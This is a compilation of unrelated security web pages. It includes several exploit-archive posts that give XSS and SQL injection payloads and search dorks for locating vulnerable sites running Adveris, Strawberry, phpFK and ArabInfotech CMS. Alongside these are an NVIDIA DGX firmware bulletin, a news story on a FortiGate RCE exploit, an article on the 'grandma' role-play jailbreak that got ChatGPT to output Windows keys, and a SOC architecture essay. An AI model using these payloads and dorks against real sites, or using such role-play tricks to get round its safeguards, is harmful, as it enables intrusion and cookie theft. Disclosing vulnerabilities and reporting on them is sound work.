Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

**Adveris CMS 3.0 Cross Site Scripting**

Posted Jul 4, 2023

Authored by indoushka

Adveris CMS version 3.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | f4e69d15add89915deaf239446b331cc9106cc57ee69bf29f992d6be03d4d471

Download | Favorite | View

**Adveris CMS 3.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Adveris CMS v3.0 XSS Vulnerability                                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               | | # Vendor    : http://adveris.fr                                                                                                  |  | # Dork      : "Création site internet : Adveris" inurl:.php?id=                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /sous-categorie.php?id=6<--`<script>alert(/indoushka/);</script>``> --!>[+] http://w127.0.0.1/coveprofr/sous-categorie.php?id=6%3C--`%3Cscript%3Ealert(/indoushka/);%3C/script%3E``%3E%20--!%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,556)
*   Arbitrary (16,119)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,329)
*   DoS (23,289)
*   Encryption (2,363)
*   Exploit (51,413)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,628)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,791)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,067)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,709)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

Adveris CMS 3.0 Cross Site Scripting








NVIDIA DGX A100/A800 contains a vulnerability in SBIOS where an attacker may cause improper input validation by providing configuration information in an unexpected format.  A successful exploit of this vulnerability may lead to denial of service, information disclosure, and data tampering.









**Details**

This section provides a summary of potential vulnerabilities that this security update addresses and their impact. Descriptions use CWE™, and base scores and vectors use CVSS v3.1 standards.

**CVE ID**

**Description**

**Base Score**

**Vector**

CVE‑2023‑25521

The NVIDIA DGX A100 and A800 systems contain a vulnerability in SBIOS, where improper validation of an input parameter may lead to code execution, escalation of privileges, denial of service, information disclosure, and data tampering.

7.5

CWE-250  
AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE‑2023‑25522

The NVIDIA DGX A100 and A800 systems contain a vulnerability in SBIOS, where information that is provided in an unexpected format may cause improper validation of an input parameter, which may lead to denial of service, information disclosure, and data tampering.

7.5

CWE-20  
AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

The NVIDIA risk assessment is based on an average of risk across a diverse set of installed systems and may not represent the true risk to your local installation. NVIDIA recommends consulting a security or IT professional to evaluate the risk to your specific configuration.

**Security Updates**

The following tables list the NVIDIA systems affected, firmware versions affected, and the updated version that includes this security update.

To protect your system, download and install this firmware update through the NVIDIA Enterprise Support Portal.

**Note:** To get the updated BMC and SBIOS versions listed in the tables, upgrade to the NVIDIA DGX A100 Firmware Update Container Version 23.06.3. Firmware updates are available through the NVIDIA Enterprise Support Portal.

**Security Advisory CVE IDs Addressed by NVIDIA**

**CVE IDs Addressed**

**Hardware Platform**

**System**

**Affected Versions**

**Updated Version**

CVE‑2023‑25521

NVIDIA DGX

NVIDIA DGX A100  
NVIDIA DGX A800

All SBIOS versions prior to 1.21

1.21

CVE‑2023‑25522

NVIDIA DGX

NVIDIA DGX A100  
NVIDIA DGX A800

All SBIOS versions prior to 1.21

1.21

**Security Advisory CVE IDs Addressed by AMI**

**CVE IDs Addressed**

**Hardware Platform**

**System**

**Affected Versions**

**Updated Version**

CVE‑2022‑26872  
CVE‑2022‑40259  
CVE‑2022‑2827  
CVE‑2022‑40242

NVIDIA DGX

NVIDIA DGX A100  
NVIDIA DGX A800

All BMC versions prior to 00.20.04

00.20.04

CVE‑2021‑26316  
CVE‑2021‑39298  
CVE‑2021‑26402  
CVE‑2022‑23813  
CVE‑2022‑23814  
CVE‑2021‑26328

NVIDIA DGX

NVIDIA DGX A100  
NVIDIA DGX A800

All SBIOS versions prior to 1.21

1.21

**Security Vulnerabilities Reported by AMI**

The following table lists potential security vulnerabilities in some AMI MegaRAC SP-X baseboard management controllers that have been reported by AMI. These vulnerabilities may allow user enumeration, unauthorized access, or arbitrary code execution. The NVIDIA DGX-1, NVIDIA DGX-2, NVIDIA DGX Station, and NVIDIA DGX Station A100 systems are not vulnerable to these issues.

**CVE ID**

**Severity**

**Vendor**

CVE‑2022‑40259

Critical

AMI

CVE‑2022‑26872

High

AMI

CVE‑2022‑2827

High

AMI

CVE‑2021‑26316

High

AMI

CVE‑2021‑39298

High

AMI

CVE‑2021‑26402

High

AMI

CVE‑2022‑40242

Medium

AMI

CVE‑2022‑23813

Medium

AMI

CVE‑2022‑23814

Medium

AMI

CVE‑2021‑26328

Medium

AMI

**Get the Most Up to Date Product Security Information**

Visit the NVIDIA Product Security page to

*   Subscribe to security bulletin notifications
*   See the current list of NVIDIA security bulletins
*   Report a potential security issue in any NVIDIA supported product
*   Learn more about the vulnerability management process followed by the NVIDIA Product Security Incident Response Team (PSIRT)

**Revision History**

  

**Revision**

**Date**

**Description**

1.0

June 30, 2023

Initial release

**Support**

If you have any questions about this security bulletin, contact NVIDIA Support.

**Disclaimer**

ALL NVIDIA INFORMATION, DESIGN SPECIFICATIONS, REFERENCE BOARDS, FILES, DRAWINGS, DIAGNOSTICS, LISTS, AND OTHER DOCUMENTS (TOGETHER AND SEPARATELY, “MATERIALS”) ARE BEING PROVIDED “AS IS.” NVIDIA MAKES NO WARRANTIES, EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE MATERIALS, AND ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OR CONDITION OF TITLE, MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT, ARE HEREBY EXCLUDED TO THE MAXIMUM EXTENT PERMITTED BY LAW.

Information is believed to be accurate and reliable at the time it is furnished. However, NVIDIA Corporation assumes no responsibility for the consequences of use of such information or for any infringement of patents or other rights of third parties that may result from its use. No license is granted by implication or otherwise under any patent or patent rights of NVIDIA Corporation. Specifications mentioned in this publication are subject to change without notice. This publication supersedes and replaces all information previously supplied. NVIDIA Corporation products are not authorized for use as critical components in life support devices or systems without express written approval of NVIDIA Corporation.

CVE-2023-25522: NVIDIA Support

Some 340,000 FortiGate SSL VPN appliances remain exposed to the threat more than three weeks after Fortinet released firmware updates to address the issue.

Researchers have written exploit code for a critical remote code execution (RCE) vulnerability in Fortinet's FortiGate SSL VPNs that the vendor disclosed and patched in June 2023.

Bishop Fox's research team, which developed the exploit, has estimated there are some 340,000 affected FortiGate devices that are currently unpatched against the flaw and remain open to attack. That number is significantly higher than the 250,000 FortiGate devices that several researchers estimated were vulnerable to exploit when Fortinet first disclosed the flaw on June 12.

**Code Not Released Publicly — but There's a GIF**

"There are 490,000 affected \[FortiGate\] SSL VPN interfaces exposed on the internet, and roughly 69% of them are currently unpatched," Bishop Fox's director of capability development, Caleb Gross, wrote in a blog post on June 30. "You should patch yours now."

The heap-based buffer overflow vulnerability, tracked as CVE-2023-27997, affects multiple versions of FortiOS and FortiProxy SSL-VPN software. It gives an unauthenticated, remote attacker a way to execute arbitrary code on an affected device and take complete control of it. Researchers from French cybersecurity firm Lexfo who discovered the flaw assessed it as affecting every single SSL VPN appliance running FortiOS.

Bishop Fox has not released its exploit code publicly. But its blog post has a GIF of it in use. Gross described the exploit that Bishop Fox has developed as giving attackers a way to open an interactive shell they could use to communicate with an affected FortiGate appliance.

"This exploit very closely follows the steps detailed in the original blog post by Lexfo, though we had to take a few extra steps that were not mentioned in that post," Gross wrote. "The exploit runs in approximately one second, which is significantly faster than the demo video on a 64-bit device shown by Lexfo."

Fortinet issued firmware updates that addressed the issue on June 12. At the time, the company said the flaw affected organizations in government, manufacturing and other critical infrastructure sectors. Fortinet said it was aware of an attacker exploiting the vulnerability in a limited number of cases.

Fortinet cautioned about the potential for threat actors like those behind the Volt Typhoon cyber-espionage campaign to abuse CVE-2023-27997. Volt Typhoon is a China-based group that is believed to have established persistent access on networks belonging to US telecom companies and other critical infrastructure organizations, for stealing sensitive data and carrying out other malicious actions. The campaign so far has primarily used another, older Fortinet flaw (CVE-2022-40684) for initial access. But organizations should not discount the possibility of Volt Typhoon — and other threat actors — using CVE-2023-27997 either, Fortinet warned.

**Why Security Appliances Make Popular Targets**

CVE-2023-27997 is one of numerous critical Fortinet vulnerabilities that have been exposed. Like that of almost every other firewall and VPN vendor, Fortinet's appliances are a popular target for adversaries because of the access they provide to enterprise networks.

The US Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), and others have issued multiple advisories in recent years about the need for organizations to promptly address vulnerabilities in these and other network devices because of the high attacker interest in them.

In June 2022, for instance, CISA warned of China-sponsored threat actors actively targeting unpatched vulnerabilities in network devices from a wide range of vendors. The advisory included a list of the most common of these vulnerabilities. The list included vulnerabilities in products from Fortinet, Cisco, Citrix, Netgear, Pulse, QNAP, and Zyxel.

Systems administrators should patch as quickly as possible, even though patching firmware can be a bit more cumbersome when dealing with appliances that run application gateways, says Timothy Morris, chief security adviser at Tanium. Often, appliances such as those from Fortinet face the perimeter and have very high-availability requirements, meaning they have tight windows for change.

"For most organizations, a certain amount of downtime is probably inevitable," Morris says. Vulnerabilities such as CVE-2023-27997 require the full firmware image to be reloaded, so there is a certain amount of time and risk involved, he adds. "Configurations have to be backed up and restored to make sure they are working as expected."

Researchers Develop Exploit Code for Critical Fortinet VPN Bug

By Waqas
A Twitter user successfully utilized the "grandma exploit" to trick ChatGPT and acquire multiple Windows 10 codes.
This is a post from HackRead.com Read the original post: ChatGPT tricked into generating Windows 10 and Windows 11 keys

**The Twitter account of the user who managed to generate Windows activation keys on ChatGPT and Google Bard has been suspended.**

ChatGPT, the popular artificial intelligence (AI) chatbot, is at the centre of controversy as users uncover a potential security loophole. As one of the fastest-growing AI services globally, ChatGPT has gained immense popularity for its diverse functionalities. However, recent reports suggest that some users have managed to bypass certain safety measures, including the so-called “grandma” exploit.

The exploit involves leveraging ChatGPT’s capabilities to extract Windows 10 Pro keys. Astonishingly, one user successfully utilized the grandma exploit to obtain multiple Windows 10 codes, which were initially perceived as legitimate. Intrigued by this discovery, the user continued to request codes for upgrading from Windows 11 Home to Windows 11 Pro.

It all started on June 17th, 2023, when a Twitter user going by the handle of @immasiddtweets, (their Twitter account has been suspended now but here is the archived link to their now deleted tweets), claimed to have successfully generated Windows 10 Pro keys by engaging with OpenAI’s AI-powered chatbot, ChatGPT.

The user requested the chatbot to read out the keys as a way to reminisce about their deceased grandmother. Surprisingly, the chatbot responded compassionately and provided five unique Windows 10 Pro keys at no cost.

Out of curiosity, @immasiddtweets went a step further and showcased how they utilized Google Bard and ChatGPT to upgrade from Windows 11 Home to Windows 11 Pro. However, TechRadar revealed a crucial detail—the generated product keys were generic in nature.

Consequently, while it remains possible to install or upgrade Windows using these keys, users may encounter limitations and miss out on certain features available in the full Windows 11 experience.

ChatGPT and Google Bard AI generating Windows Keys for @immasiddtweets (Image: Hackread.com)

Here is a series of Tweets from users generating keys for Windows 10 and Windows 11:

*   1: “Worked on Bing too bruv, and said it so confident,” said one user while sharing a screenshot of the generated keys
*   2: ”So True,” tweeted a user with a screenshot of generated keys.
*   3: For some users, ChatGPT also generated API keys.
*   4: ”Bing fell into the trap,” said one tweet.

However, according to Windows Central, when their researchers headed to Microsoft’s Bing AI chatbot to generate Windows keys, the chatbot came up with no keys but offered words of wisdom about piracy and how such products should be bought from original sources.

Nevertheless, to ensure the integrity of their services, both ChatGPT and Google Bard have implemented robust measures to prevent users from generating unauthorized product keys. As users navigate the digital realm, it is vital to exercise caution and seek legitimate avenues for obtaining product keys, ensuring a genuine and uninterrupted Windows experience.

**RELATED ARTICLES**

1.  Europol warns of ChatGPT exploitation
2.  OpenAI ChatGPT Bug Bounty Program – Earn $200 to $20k
3.  DarkBERT: Enhancing Cybersecurity Efforts on the Dark Web
4.  100,000 Hacked ChatGPT Accounts Discovered on Dark Web
5.  ChatGPT’s False Information Generation Enables Code Malware

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

ChatGPT tricked into generating Windows 10 and Windows 11 keys

XDR can lower platform costs and improve detection, but it requires committing to a few principles that go against the established way of thinking about SOC.

The cyber security operation center (SOC) model's focus has shifted to extended detection and response (XDR). Architected correctly, XDR puts less pressure and cost on the security information and event management (SIEM) system to correlate complex security alerts. It also does a better job as a single pane of glass for ticketing, alerting, and orchestrating automation and response.

XDR is a real opportunity to lower platform costs and improve detection, but it requires committing to a few principles that go against the established way of thinking about SOCs.

**Intelligent Data Pipelines and Data Lakes Are a Necessity**

_**Takeaway: A security data pipeline can remove log waste prior to storage and route logs to the most appropriate location.**_

Managing your security data pipeline intelligently can have a massive impact on controlling spending by preprocessing every log and eliminating excess waste, especially when your primary cost driver is GB per day. Consider the following example showing the before and after size of Windows Active Directory (AD) logs.

    

The average inbound event had 75 fields and a size of 3.75KB. After removing redundant and unnecessary fields, the log has 30 fields and a size of 1.18KB. That is a 68.48% reduction of SIEM storage cost.

Applying similar value analysis for where you send each log is equally important. Not all logs should be sent to the SIEM! Only logs that drive a known detection should be sent to SIEM. All others used in supporting investigations, enrichment, and threat hunting should go to the security data lake. An intelligent data pipeline can make on-the-fly routing decisions for each log and further reduce your costs.

    

    

**Focus Detection and Prevention Closest to the Threat**

_**Takeaway: Product-native detections have gotten dramatically better; the SIEM should be a last line of defense.**_

The SIEM used to be one of the only tools that could correlate and analyze raw logs and identify alerts that need to be addressed. This was largely a reflection of other tools being single-purpose and generally bad at identifying issues by themselves. As a result, it made sense to ship everything to the SIEM and create complex correlation rules to sort the signal from the noise.

Today's landscape has changed with endpoint detection and response (EDR) tools. Modern EDR is essentially SIEM on the endpoint. It has the same capabilities to write detection rules on endpoints as the SIEM has, but now there is no need to ship every bit of telemetry data into the SIEM.

EDR vendors have gotten markedly better at building and maintaining out-of-the-box detections. We have consistently seen a sizable decrease in detections and preventions attributed to the SIEM during our purple team engagements in favor of tools like EDR and next-generation firewalls (NGFW). There are exceptions like Kerberoasting (which on-premises AD doesn't have much coverage for). As you move to pure cloud for AD, even those types of detections will be handled by "edge" tools like Microsoft Defender for Endpoint.

**Play to Your SIEM Strong Suit**

_**Takeaway: Having a deliberate process to consistently measure and improve your detection capabilities is far more valuable than having any specific SIEM tool on the market.**_

Purple teaming across industries and detection ecosystems has allowed us to understand the efficacy of many modern EDR, NGFW, SIEM, and other tools. We score and benchmark purple team results and trend the improvements over time. We have found over the past five years that the SIEM you buy has no measurable correlation to purple team scores. Process, tuning, and testing are what matter.

SIEM tools have architectural differences that can make one a better or worse fit for your environment, but buying a specific SIEM to significantly improve your detection capabilities will not prove out. Instead, focus your efforts on dashboards and correlations that support threat-hunt and incident-response efforts.

**Align EDR, SIEM, and SOAR in Your XDR Architecture**

_**Takeaway: Security automation and artificial intelligence (AI)-enhanced triage is the future but should be approached with caution. Not all automation needs to exclude all human involvement.**_

The future of XDR is coupled with tightly integrated security orchestration, automation, and response (SOAR) technologies. XDR concepts recognize that what really matters is **not how fast you can detect a threat, but how fast you can neutralize a threat.** _"If this – then that"_ SOAR automation methodologies aren't effective in real-world scenarios. One of the best approaches we've seen in XDR automation is:

*   Conduct a purple team exercise to identify which current detection events are optimized (very low false positive rates) and can be trusted with an automated response.
*   Create an automated response playbook but insert human intervention steps to gain confidence before you turn it fully over to automation. We call this "semi-automation," and it's a smart first step.

XDR is a buzzword, but when viewed in a technology-agnostic fashion, it is based on good foundations. Where organizations are most likely to fail is applying legacy SIEM management philosophies to modern XDR architectures. These program design philosophies will likely improve your capabilities and reduce your costs.

**About the Author**

    

Mike Pinch joined Security Risk Advisors in 2018 after serving 6 years as the Chief Information Security Officer at the University of Rochester Medical Center. Mike is nationally recognized as a leader in the field of cybersecurity, has spoken at conferences including HITRUST, H-ISAC, and has contributed to national standards for health care and public health sector cybersecurity frameworks. Mike focuses on GCP, AWS, and Azure security, primarily in helping SOC teams improve their capabilities. Mike is an active developer and is currently enjoying weaving modern AI technologies into common cybersecurity challenges.

Architecting XDR to Save Money and Your SOC's Sanity

Categories: News
A list of topics we covered in the week of June 26 to July 2 of 2023



(Read more...)




The post A week in security (June 26 - July 2) appeared first on Malwarebytes Labs.

Cybersecurity info you can't do without

Want to stay informed on the latest news in cybersecurity? Sign up for our newsletter and learn how to protect your computer from threats.

Cyberprotection for every one.

FOR PERSONAL

Windows Antivirus

Mac Antivirus

Android Antivirus

Free Antivirus

VPN App (All Devices)

Malwarebytes for iOS

SEE ALL

COMPANY

About Us

Contact Us

Careers

News and Press

Blog

Scholarship

Forums

FOR BUSINESS

Small Businesses

Mid-size Businesses

Large Enterprise

Endpoint Protection

Endpoint Detection & Response

Managed Detection and Response (MDR)

FOR PARTNERS

Managed Service Provider (MSP) Program

Resellers

MY ACCOUNT

Sign In

SOLUTIONS

Free Rootkit Scanner

Free Trojan Scanner

Free Virus Scanner

Free Spyware Scanner

Anti Ransomware Protection

SEE ALL

ADDRESS

3979 Freedom Circle  
12th Floor  
Santa Clara, CA 95054

ADDRESS

One Albert Quay  
2nd Floor  
Cork T12 X8N6  
Ireland

LEARN

Malware

Hacking

Phishing

Ransomware

Computer Virus

Antivirus  

What is VPN?

COMPANY

About Us

Contact Us

Careers

News and Press

Blog

Scholarship

Forums

MY ACCOUNT

Sign In

ADDRESS

3979 Freedom Circle, 12th Floor  
Santa Clara, CA 95054

ADDRESS

One Albert Quay, 2nd Floor  
Cork T12 X8N6  
Ireland

A week in security (June 26 - July 2)

Strawberry version 1.1.9 suffers from a cross site scripting vulnerability.

**Strawberry 1.1.9 Cross Site Scripting**

Posted Jul 2, 2023

Authored by indoushka

Strawberry version 1.1.9 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 5006ad4fe5ee6631967fbcda59c50822e4f6cf4db227a33b6f3fba8640dbb942

Download | Favorite | View

**Strawberry 1.1.9 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Strawberry 1.1.9 XSS Vulnerability                                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : https://cutenewsru.sourceforge.io/strawberry/                                                                      |  | # Dork      : "Powered by Strawberry 1.1.9"                                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d"[+] http://127.0.0.1/dverekomondoorcom/content/index.php/"onmouseover%3d'prompt(document.cookies)'bad%3d"Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |        =======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,554)
*   Arbitrary (16,117)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,328)
*   DoS (23,288)
*   Encryption (2,363)
*   Exploit (51,405)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,627)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,787)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,065)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,707)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

Strawberry 1.1.9 Cross Site Scripting

phpFK version 9.2 Beta suffers from cross site scripting and remote SQL injection vulnerabilities.

**phpFK 9.2 Beta Cross Site Scripting / SQL Injection**

**phpFK 9.2 Beta Cross Site Scripting / SQL Injection**

Posted Jul 2, 2023

Authored by indoushka

phpFK version 9.2 Beta suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection

SHA-256 | 09fef1efe957f866ce2e4d01724c95e85523e37eb341c2135635c17435c8b42c

Download | Favorite | View

**phpFK 9.2 Beta Cross Site Scripting / SQL Injection**

    ====================================================================================================================================| # Title     : phpFK v9.2 Beta version SQLi + XSS Vulnerability                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0.(32-bit)                                              | | # Vendor    : https://www.frank-karau.de/demo-forum/                                                                             |  | # Dork      : Powered by: phpFK                                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /forum/thread.php?board=4&thema=349'"><svg/onload=prompt(/_indoushka_/);>{{7*7}}[+] http://127.0.0.1/forum/thread.php?board=4&thema=349%27%22%3E%3Csvg/onload=prompt(/_indoushka_/);%3E{{7*7}}Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,554)
*   Arbitrary (16,117)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,328)
*   DoS (23,288)
*   Encryption (2,363)
*   Exploit (51,405)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,627)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,787)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,065)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,707)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

phpFK 9.2 Beta Cross Site Scripting / SQL Injection

ArabInfotech CMS version 2.0.1 suffers from a cross site scripting vulnerability.

**ArabInfotech CMS 2.0.1 Cross Site Scripting**

Posted Jul 2, 2023

Authored by indoushka

ArabInfotech CMS version 2.0.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 670bf364f2d7ff34656860436ff284c800f86d1d679b95be7803858c4d41549d

Download | Favorite | View

**ArabInfotech CMS 2.0.1 Cross Site Scripting**

    ====================================================================================================================================| # Title     : ArabInfotech CMS v 2.0.1 L.L.C Xss Vulnerability                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : http://www.editpubdz.com/                                                                                          |  | # Dork      : intext:"Powered By Editpub"                                                                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : '"()%26%25<acx><script>alert(/indoushka/);</script>[+] http://127.0.0.1/www/reliancerecruiterscom/job-details.php?id=68%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E====Greetings to :=========================================================================================================================| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh       |===========================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,554)
*   Arbitrary (16,117)
*   BBS (2,859)
*   Bypass (1,725)
*   CGI (1,025)
*   Code Execution (7,203)
*   Conference (678)
*   Cracker (841)
*   CSRF (3,328)
*   DoS (23,288)
*   Encryption (2,363)
*   Exploit (51,405)
*   File Inclusion (4,202)
*   File Upload (960)
*   Firewall (821)
*   Info Disclosure (2,742)
*   Intrusion Detection (888)
*   Java (3,007)
*   JavaScript (845)
*   Kernel (6,610)
*   Local (14,412)
*   Magazine (586)
*   Overflow (12,627)
*   Perl (1,423)
*   PHP (5,134)
*   Proof of Concept (2,336)
*   Protocol (3,571)
*   Python (1,526)
*   Remote (30,582)
*   Root (3,573)
*   Rootkit (506)
*   Ruby (611)
*   Scanner (1,633)
*   Security Tool (7,861)
*   Shell (3,168)
*   Shellcode (1,212)
*   Sniffer (893)
*   Spoof (2,193)
*   SQL Injection (16,254)
*   TCP (2,395)
*   Trojan (687)
*   UDP (885)
*   Virus (664)
*   Vulnerability (31,654)
*   Web (9,600)
*   Whitepaper (3,747)
*   x86 (961)
*   XSS (17,787)
*   Other

**File Archives**

*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (1,981)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,921)
*   Debian (6,782)
*   Fedora (1,691)
*   FreeBSD (1,244)
*   Gentoo (4,321)
*   HPUX (879)
*   iOS (346)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,065)
*   Mac OS X (685)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (483)
*   RedHat (13,489)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,707)
*   UNIX (9,256)
*   UnixWare (186)
*   Windows (6,560)
*   Other

ArabInfotech CMS 2.0.1 Cross Site Scripting

The MultiVendorX plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 3.5.7. This is due to missing or incorrect nonce validation on the submit_comment() function. This makes it possible for unauthenticated attackers to submit comments via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Tag

#ios